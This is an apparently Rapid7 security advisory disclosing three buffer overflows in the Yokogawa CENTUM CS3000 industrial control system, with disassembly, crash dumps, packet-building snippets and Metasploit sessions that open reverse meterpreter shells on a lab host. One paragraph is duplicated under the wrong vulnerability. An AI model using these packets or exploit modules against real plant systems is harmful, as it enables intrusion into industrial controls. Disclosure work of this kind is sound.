R7-2013-19 Disclosure: Yokogawa CENTUM CS 3000 Vulnerabilities

Last updated at Sat, 19 Aug 2017 17:16:54 GMT

On Saturday, March 8th, @julianvilas and I spoke at RootedCON about our work with the Yokogawa CENTUM CS3000 product. Today, as promised, we're publishing details for three of the vulnerabilities found in the product. For all of you who weren't able to attend RootedCON, we're going just to quote the Yokogawa description of their own product in order to introduce it: "Yokogawa released CENTUM CS 3000 R3 in 1998 as the first Windows-based production control system under our brand. For over 10 years of continuous developments and enhancements, CENTUM CS 3000 R3 is equipped with functions to make it a matured system. With over 7600 systems sold worldwide, it is a field-proven system with 99.99999% of availability."

Vulnerabilities Summary

This report include details for three vulnerabilities found in different services used by the Yokogawa CENTUM CS3000 product in order to provide all its functionality. The vulnerabilities have been found in the version R3.08.50:

• R7-2013-19.1 - BKCLogSvr.exe Heap Based Buffer Overflow: The "BKCLogSvr.exe" service, started automatically with the system, listens by default on UDP/52302. By sending a specially sequence of packets to UDP/52302 it's possible to trigger a heap based buffer overflow, after an usage of uninitialized data, which allows to DoS the “BKCLogSvr.exe”, and on last instance, could allow execution of arbitrary code with SYSTEM privileges.
• R7-2013-19.3 - BKHOdeq.exe Stack Based Buffer Overflow: The "BKHOdeq.exe" service, started when running the "FCS / Test Function" listens by default on TCP/20109 and TCP/20171. By sending a specially crafted packet to the port TCP/20171 it's possible to trigger a stack based buffer overflow which allows execution of arbitrary code with the privileges of the CENTUM user.
• R7-2013-19.4 - BKBCopyD.exe Stack Based Buffer Overflow: The Yokogawa Centum CS3000 solution uses different services in order to provide all its functionality. The “BKBCopyD.exe” service, started when running the “FCS / Test Function”, listens by default on TCP/20111. By sending a specially crafted packet to the port TCP/20111 it's possible to trigger a stack based buffer overflow which allows execution of arbitrary code with the privileges of the CENTUM user.

Disclosure Timeline

Technical Analysis

R7-2013-19.1 - BKCLogSvr.exe Heap Based Buffer Overflow

The BKLogSvr service listens on the UDP/52302, where expects packets sending

logs, of no more than 1024 bytes, as can be seen on the next assembly from

libbkclogsvr.dll (IDA notation):

.text:61DC1283                push    eax            ; fromlen  
.text:61DC1284                mov    eax, s  
.text:61DC1289                push    ecx            ; from  
.text:61DC128A                push    0              ; flags  
.text:61DC128C                lea    edx, [esp+42Ch+buf]  
.text:61DC1290                push    400h            ; len - packets including logs of 1024 bytes as much  
.text:61DC1295                push    edx            ; buf  
.text:61DC1296                push    eax            ; s  
.text:61DC1297                mov    [esp+438h+fromlen], 10h  
.text:61DC129F                call    recvfrom  

There is a log packet sample:

"\x96\x00\x00\x00\x00\x00\x00\x00\x48\x41\x53\x00\x00\x00\x00\x00"    #........ HIS.....
"\x00\x00\x00\x00\x00\x00\x00\x00\x4c\x4f\x47\x00\x00\x00\x00\x00"    #........ LOG.....
"\x32\x30\x31\x33\x2f\x31\x31\x2f\x30\x39\x20\x31\x39\x3a\x32\x31"    #2013/11/ 09 19:21
"\x3a\x34\x32\x20\x2b\x30\x31\x3a\x30\x30\x2c\x45\x56\x45\x4e\x54"  #:42 +01: 00,EVENT
"\x2c\x30\x78\x30\x30\x30\x30\x30\x30\x30\x30\x2c\x3c\x42\x4f\x53"    #,0x00000 000,<BOS
"\x53\x56\x43\x3e\x20\x2c\x43\x3a\x5c\x43\x53\x33\x30\x30\x30\x5c"  #SVC> ,C: \CS3000\
"\x50\x52\x4f\x47\x52\x41\x4d\x5c\x42\x4b\x48\x42\x6f\x73\x53\x76"    #PROGRAM\ BKHBosSv
"\x63\x2e\x65\x78\x65\x3a\x42\x6f\x73\x53\x76\x63\x4d\x61\x69\x6e"  #c.exe:Bo sSvcMain
"\x3a\x32\x36\x32\x33\x2c\x22\x73\x74\x61\x74\x75\x73\x20\x3a\x20"  #:2623,"s tatus :
"\x42\x4f\x4f\x54\x22\x22"                                                                   #BOOT".

The meaning of the several fields, according to our understanding, is it:

The heap overflow occurs while handling the creation of the path where the log will be stored. The allocation for the memory happens on sub_61DC15A0 (IDA Notation), and it's a buffer of size 0x1b8:

.text:61DC16A7                push    1B8h            ; Size  
.text:61DC16AC                call    ds:malloc      ; malloc memory: 0x1b8  

When sending two consecutive packets with a long Level field, coalescing both Level and Message fields, an overflow happens after the allocation, in a strcpy style copy, resulting in the next crash:

0:005> g  
(c24.a6c): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\CS3000\LIBRARY\libbkclogsvr.dll -  
eax=00000344 ebx=01846e48 ecx=000000ae edx=01846f9c esi=023af7a8 edi=01847000  
eip=61dc1709 esp=023af708 ebp=0183de48 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206  
libbkclogsvr!BKCLogSvrLibResume+0x549:  
61dc1709 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]  
0:004> db esi  
023af7a8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB  
023af7b8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB  
023af7c8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB  
023af7d8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB  
023af7e8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB  
023af7f8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB  
023af808 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB  
023af818 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB  
0:004> db edi  
01847000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
01847010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
01847020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
01847030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
01847040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
01847050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
01847060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
01847070 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
0:004> db edi - 10  
01846ff0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB  
01847000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
01847010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
01847020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
01847030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
01847040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
01847050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
01847060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
0:004> !heap -p -a edi  
address 01847000 found in  
_DPH_HEAP_ROOT @ 17d1000  
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)  
17d19a4: 1846e48 1b8 - 1846000 2000  
7c918f01 ntdll!RtlAllocateHeap+0x00000e64  
77c2c3c9 msvcrt!_heap_alloc+0x000000e0  
77c2c3e7 msvcrt!_nh_malloc+0x00000013  
77c2c42e msvcrt!malloc+0x00000027  
61dc16b2 libbkclogsvr!BKCLogSvrLibResume+0x000004f2  

At the moment of the overflow, the source of the data points to controlled data from the malformed Level/Message field.

But in order to trigger the overflow, two consecutive packets are needed. The explanation is on the stack, and how the function doesn't take care of a correct initialization of local variables:

.text:61DC16E3                lea    edi, [esp+450h+var_440] ; origin for the copy comes from here, uninitialized stack is the root cause of the overflow being exploitable.  
.text:61DC16E7                xor    eax, eax  
.text:61DC16E9                lea    edx, [ebx+12Ch]  
.text:61DC16EF                repne scasb  
.text:61DC16F1                not    ecx  
.text:61DC16F3                sub    edi, ecx  
.text:61DC16F5                push    104h  
.text:61DC16FA                mov    eax, ecx  
.text:61DC16FC                mov    esi, edi  
.text:61DC16FE                shr    ecx, 2  
.text:61DC1701                mov    edi, edx  
.text:61DC1703                lea    edx, [ebx+154h]  
.text:61DC1709                rep movsd              ; overflow happens here  

The origin for the copy is a local variable, stored on the stack, which has not been initialized previously. So if malicious data can be stored on the stack, the overflow happens. It's possible to put malicious data on the stack by sending consecutive malicious packets.

As has been already explained, in order to exploit the dangerous strcpy controlled data need to be stored in the stack previously in order to abuse the uninitialized local variables. In order to accomplish it two consecutive, malformed packets, can be sent to the server:

    test = [1024].pack("V")            # packet length  
    test << "AAAA"                      # Unknown  
    test << "SOURCE\x00\x00"            # Source  
    test << "\x00" * 8                  # Padding  
    test << "B" * (1024 - test.length)  # Level & Message coalesced  

When the first packet is processed by the vulnerable function, it is the stack (origin for the dangerous copy):

0:005> g
Breakpoint 0 hit
eax=00000000 ebx=005c4008 ecx=ffffffff edx=005c0608 esi=00a9f75d edi=005c41c0
eip=61dc16e3 esp=00a9f70c ebp=00000000 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
libbkclogsvr!BKCLogSvrLibResume+0x523:
61dc16e3 8d7c2410 lea edi,[esp+10h]
0:004> t
eax=00000000 ebx=005c4008 ecx=ffffffff edx=005c0608 esi=00a9f75d edi=00a9f71c
eip=61dc16e7 esp=00a9f70c ebp=00000000 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
libbkclogsvr!BKCLogSvrLibResume+0x527:
61dc16e7 33c0 xor eax,eax
0:004> db edi
00a9f71c 53 4f 55 52 43 45 42 42-42 42 42 42 42 42 00 00 SOURCEBBBBBBBB..
00a9f72c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00a9f73c 00 04 00 00 41 41 41 41-53 4f 55 52 43 45 00 00 ....AAAASOURCE..
00a9f74c 00 00 00 00 00 00 00 00-42 42 42 42 42 42 42 42 ........BBBBBBBB
00a9f75c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00a9f76c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00a9f77c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00a9f78c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

Later, while processing this first packet, the stack is filled with the packet contents. It occurs when flushing the contents of the log:

.text:61DC1572 call ebx ; fflush ; Here is where the stack is filled with controlled data  
.text:61DC1572 ;  
.text:61DC1572 ; ChildEBP RetAddr Args to Child  
.text:61DC1572 ; 00a9fab8 77c3035a 00000003 005c4298 000003e0 msvcrt!_write_lk+0xd6  
.text:61DC1572 ; 00a9faf4 77c3edb2 00000003 005c4298 000003e0 msvcrt!_write+0x57  
.text:61DC1572 ; 00a9fb14 77c3edf3 77c5fce0 00000000 00a9fb58 msvcrt!_flush+0x35  
.text:61DC1572 ; 00a9fb24 77c3ef26 77c5fce0 77c40ed3 7c802530 msvcrt!_fflush_lk+0xf  
.text:61DC1572 ; 00a9fb58 61dc1574 77c5fce0 00a9fb84 77c5fce0 msvcrt!fflush+0x30  
.text:61DC1572 ; WARNING: Stack unwind information not available. Following frames may be wrong.  
.text:61DC1572 ; 00a9fb60 00a9fb84 77c5fce0 0089fc60 005c3eb8 libbkclogsvr!BKCLogSvrLibResume+0x3b4  

When the second packet is processed by the vulnerable function, it is the stack (origin for the dangerous copy):

0:005> g
Breakpoint 0 hit
eax=00000000 ebx=005c5240 ecx=ffffffff edx=005c0608 esi=00a9f72a edi=005c53f8
eip=61dc16e3 esp=00a9f70c ebp=005c4008 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
libbkclogsvr!BKCLogSvrLibResume+0x523:
61dc16e3 8d7c2410 lea edi,[esp+10h]
0:004> t
eax=00000000 ebx=005c5240 ecx=ffffffff edx=005c0608 esi=00a9f72a edi=00a9f71c
eip=61dc16e7 esp=00a9f70c ebp=005c4008 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
libbkclogsvr!BKCLogSvrLibResume+0x527:
61dc16e7 33c0 xor eax,eax
0:004> db edi
00a9f71c 53 4f 55 52 43 45 42 42-42 42 42 42 42 42 42 42 SOURCEBBBBBBBBBB
00a9f72c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00a9f73c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00a9f74c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00a9f75c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00a9f76c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00a9f77c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00a9f78c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:004> g
(430.f50): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\CS3000\LIBRARY\LibBKCCommon.dll -
eax=00000000 ebx=00000104 ecx=ffffffff edx=00a9f3ec esi=00a9fa60 edi=42424242
eip=61e51708 esp=00a9f3d8 ebp=005c5248 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
LibBKCCommon!BKCGetLogDir+0x78:
61e51708 f2ae repne scas byte ptr es:[edi]

R7-2013-19.3 - BKHOdeq.exe Stack Based Buffer Overflow

The vulnerability exists in the function “sub_41EB60” (IDA notation), which makes an insecure memory copy, while reading lines from user controlled input:

int __cdecl vulnerable_sub_41EB60(int a1, int a2)  
{  
  int v2; // eax@1  
  char v3; // cl@1  
  int result; // eax@3  
  int i; // edx@5  
  
  
  v2 = a2;  
  v3 = *(_BYTE *)a2;  
  if ( *(_BYTE *)a2 != ':' || *(_BYTE *)(a2 + 1) != ':' )  
  {  
    for ( i = 0; v3 != '\n'; ++v2 ) // Dangerous loop, copying data to a stack buffer, until an end of line is found  
    {  
      if ( v3 == '\r' )  
        break;  
      *(_BYTE *)(i + a1) = v3; // Byte copy to the stack, without having destination size into account.  
      v3 = *(_BYTE *)(v2 + 1);  
      ++i;  
    }  
    *(_BYTE *)(i + a1) = 0;  
    for ( result = v2 + 1; *(_BYTE *)result == '\n' || *(_BYTE *)result == '\r'; ++result )  
      ;  
  }  
  else  
  {  
    result = 0;  
  }  
  return result;  
}  

The dangerous loop keeps copying data from the buffer pointed by the second argument, to the buffer pointed by the first argument, until a delimiter "\r" or "\n" is found.

By sending specially crafted data to the TCP/20171 port it's possible to reach the vulnerable copy function with the first argument pointing to a static size buffer stored on the stack (destination) and the argument (origin) pointing to an arbitrary user data:

.text:0041DAAD                mov    eax, [esp+2280h+arg_4] ; user controlled data, user specified length (4 bytes)  
.text:0041DAB4                lea    ecx, [esp+2280h+var_1D14] ; static buffer size on the stack  
.text:0041DABB                push    eax  
.text:0041DABC                push    ecx  
.text:0041DABD                call    vulnerable_sub_41EB60  

It's possible to reach the vulnerable copy function by sending a specially crafted packet to TCP/20171. The packet must include a 16-byte fake header, where the bytes 4-7 allow setting an arbitrary data length:

header = "ABCD"                  # iMark
header << [data.length].pack("N") # Data length
header << "IJKL"                  # NumSet
header << "MN"                    # req
header << "OP"                    # Unknown
 

And the packet data, which can't contain "\r", "\n" or ":"" characters in order to trigger memory corruption. The arbitrary data must be longer than the static buffer size on the stack, of course.

R7-2013-19.4 - BKBCopyD.exe Stack Based Buffer Overflow

The vulnerability exists on the function “sub_409EA0” (IDA notation), used while parsing several commands accepted for the BKBCopyD.exe TCP/20111 service. The vulnerable function tries to store a received command (and its argument) on memory. But it uses a dangerous vsprintf call to store a temporary copy of the full command on the stack, where the size of the buffer is no longer enough to store commands with long arguments:

int dangerous_sub_409EA0(int a1, const char *Format, ...)  
{  
  unsigned int v2; // edx@1  
  int result; // eax@3  
  char Dest; // [sp+8h] [bp-80h]@1  
  va_list va; // [sp+94h] [bp+Ch]@1  
  
  
  va_start(va, Format);  
  vsprintf(&Dest, Format, va); // Dangerous vsprintf call  
  v2 = strlen(&Dest);  
  if ( (signed int)(dword_4230C0 + v2 + 1) > 1024 )  
  {  
    dword_4230C4 = (int)dword_4230C8;  
    dword_4230C0 = 0;  
  }  
  strcpy((char *)dword_4230C4, &Dest);  
  result = dword_4230C4 + v2 + 1;  
  dword_4230C4 += v2 + 1;  
  dword_4230C0 += v2 + 1;  
  return result;  
}  

The vulnerable function is reachable through several commands which accept user provided arguments like:

• STOR

.text:00405ED0                push    eax            ; Args  
.text:00405ED1                push    offset aStorS  ; "STOR %s"  
.text:00405ED6                push    ecx            ; int  
.text:00405ED7                call    dangerous_sub_409EA0  

• RETR

.text:00405E1E                push    edx            ; Args  
.text:00405E1F                push    offset aRetrS  ; "RETR %s"  
.text:00405E24                push    esi            ; int  
.text:00405E25                call    dangerous_sub_409EA0

• PMODE

.text:004060A2                push    eax            ; Args  
.text:004060A3                push    offset aPmodeS  ; "PMODE %s"  
.text:004060A8                push    ecx            ; int  
.text:004060A9                call    dangerous_sub_409EA0  

• ATTR

.text:004061D1                push    ecx            ; Args  
.text:004061D2                push    offset aAttrS  ; "ATTR %s"  
.text:004061D7                push    esi            ; int  
.text:004061D8                call    dangerous_sub_409EA0  

• XATR

.text:0040627A                push    edx            ; Args  
.text:0040627B                push    offset aXatrS  ; "XATR %s"  
.text:00406280                push    esi            ; int  
.text:00406281                call    dangerous_sub_409EA0  

By sending specially crafted data to the TCP/20171 port it's possible to reach the vulnerable copy function with the first argument pointing to a static size buffer stored on the stack (destination) and the argument (origin) pointing to an arbitrary user data:

.text:0041DAAD                mov    eax, [esp+2280h+arg_4] ; user controlled data, user specified length (4 bytes)  
.text:0041DAB4                lea    ecx, [esp+2280h+var_1D14] ; static buffer size on the stack  
.text:0041DABB                push    eax  
.text:0041DABC                push    ecx  
.text:0041DABD                call    vulnerable_sub_41EB60  

Metasploit Modules

R7-2013-19.1 - BKCLogSvr.exe Heap Based Buffer Overflow

A proof of concept Metasploit module to trigger the Denial Of Service condition has been developed. However, a successful exploitation of the heap overflow could lead to arbitrary code execution with SYSTEM privileges.

msf > use auxiliary/dos/scada/yokogawa_logsvr  
msf auxiliary(yokogawa_logsvr) > set RHOST 192.168.172.133  
RHOST => 192.168.172.133  
set verbose truemsf auxiliary(yokogawa_logsvr) > set verbose true  
verbose => true  
msf auxiliary(yokogawa_logsvr) > run  
  
  
[*] Sending 10 packets...  
[*] Sending 1/10...  
[*] Sending 2/10...  
[*] Sending 3/10...  
[*] Sending 4/10...  
[*] Sending 5/10...  
[*] Sending 6/10...  
[*] Sending 7/10...  
[*] Sending 8/10...  
[*] Sending 9/10...  
[*] Sending 10/10...  
[*] Auxiliary module execution completed  
msf auxiliary(yokogawa_logsvr  
  
  
) >   

R7-2013-19.3 - BKHOdeq.exe Stack Based Buffer Overflow

A working exploit has been developed for Yokogawa Centum CS3000 R3.08.50 (including DEP bypass in case needed), where is possible to gain arbitrary code execution, with the CENTUM user privileges, by corrupting the SEH handler stored in the stack. By default, a run of the Metasploit module will return a shell on the targeted system:

msf > use exploit/windows/scada/yokogawa_bkhodeq_bof  
msf exploit(yokogawa_bkhodeq_bof) > set rhost 192.168.172.133  
rhost => 192.168.172.133  
msf exploit(yokogawa_bkhodeq_bof) > set payload windows/meterpreter/reverse_tcp  
payload => windows/meterpreter/reverse_tcp  
msf exploit(yokogawa_bkhodeq_bof) > set lhost 192.168.172.1  
lhost => 192.168.172.1  
msf exploit(yokogawa_bkhodeq_bof) > exploit  
  
  
[*] Started reverse handler on 192.168.172.1:4444  
[*] Trying target Yokogawa Centum CS3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ], sending 8689 bytes...  
[*] Sending stage (769024 bytes) to 192.168.172.133  
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.133:1185) at 2014-03-09 16:09:28 +0100  
  
  
meterpreter > getuid  
Server username: HIS0163\CENTUM  
meterpreter > sysinfo  
Computer        : HIS0163  
OS              : Windows XP (Build 2600, Service Pack 3).  
Architecture    : x86  
System Language : en_US  
Meterpreter    : x86/win32  
meterpreter > exit  
[*] Shutting down Meterpreter...  
 

R7-2013-19.4 - BKBCopyD.exe Stack Based Buffer Overflow

Exploitation has been confirmed at least with the commands STOR, RETR and PMODE. By sending a command with a long argument it's possible to overflow the EIP saved on the stack and gain code execution since there isn't stack cookie protection on the vulnerable function. A working exploit has been developed for Yokogawa Centum CS3000 R3.08.50, where is possible to gain arbitrary code execution, with the CENTUM user privileges, by sending a specially crafted RETR command. Again, shells are to be had:

msf> use exploit/windows/scada/yokogawa_bkbcopyd_bof  
msf exploit(yokogawa_bkbcopyd_bof) > set RHOST 192.168.172.133  
RHOST => 192.168.172.133  
msf exploit(yokogawa_bkbcopyd_bof) > check  
[*] The target service is running, but could not be validated.  
msf exploit(yokogawa_bkbcopyd_bof) > set payload windows/meterpreter/reverse_tcp  
payload => windows/meterpreter/reverse_tcp  
msf exploit(yokogawa_bkbcopyd_bof) > set LHOST 192.168.172.1  
LHOST => 192.168.172.1  
msf exploit(yokogawa_bkbcopyd_bof) > exploit  
  
  
[*] Started reverse handler on 192.168.172.1:4444  
[*] Trying target Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3, sending 458 bytes...  
[*] Sending stage (770048 bytes) to 192.168.172.133  
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.133:1384) at 2014-03-03 12:20:54 -0600  
  
  
meterpreter > getuid  
Server username: HIS0163\CENTUM  
meterpreter > sysinfo  
Computer        : HIS0163  
OS              : Windows XP (Build 2600, Service Pack 3).  
Architecture    : x86  
System Language : en_US  
Meterpreter    : x86/win32  
meterpreter > exit  
[*] Shutting down Meterpreter...  
  
  
[*] 192.168.172.133 - Meterpreter session  cosed.  Reason: User exit  

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.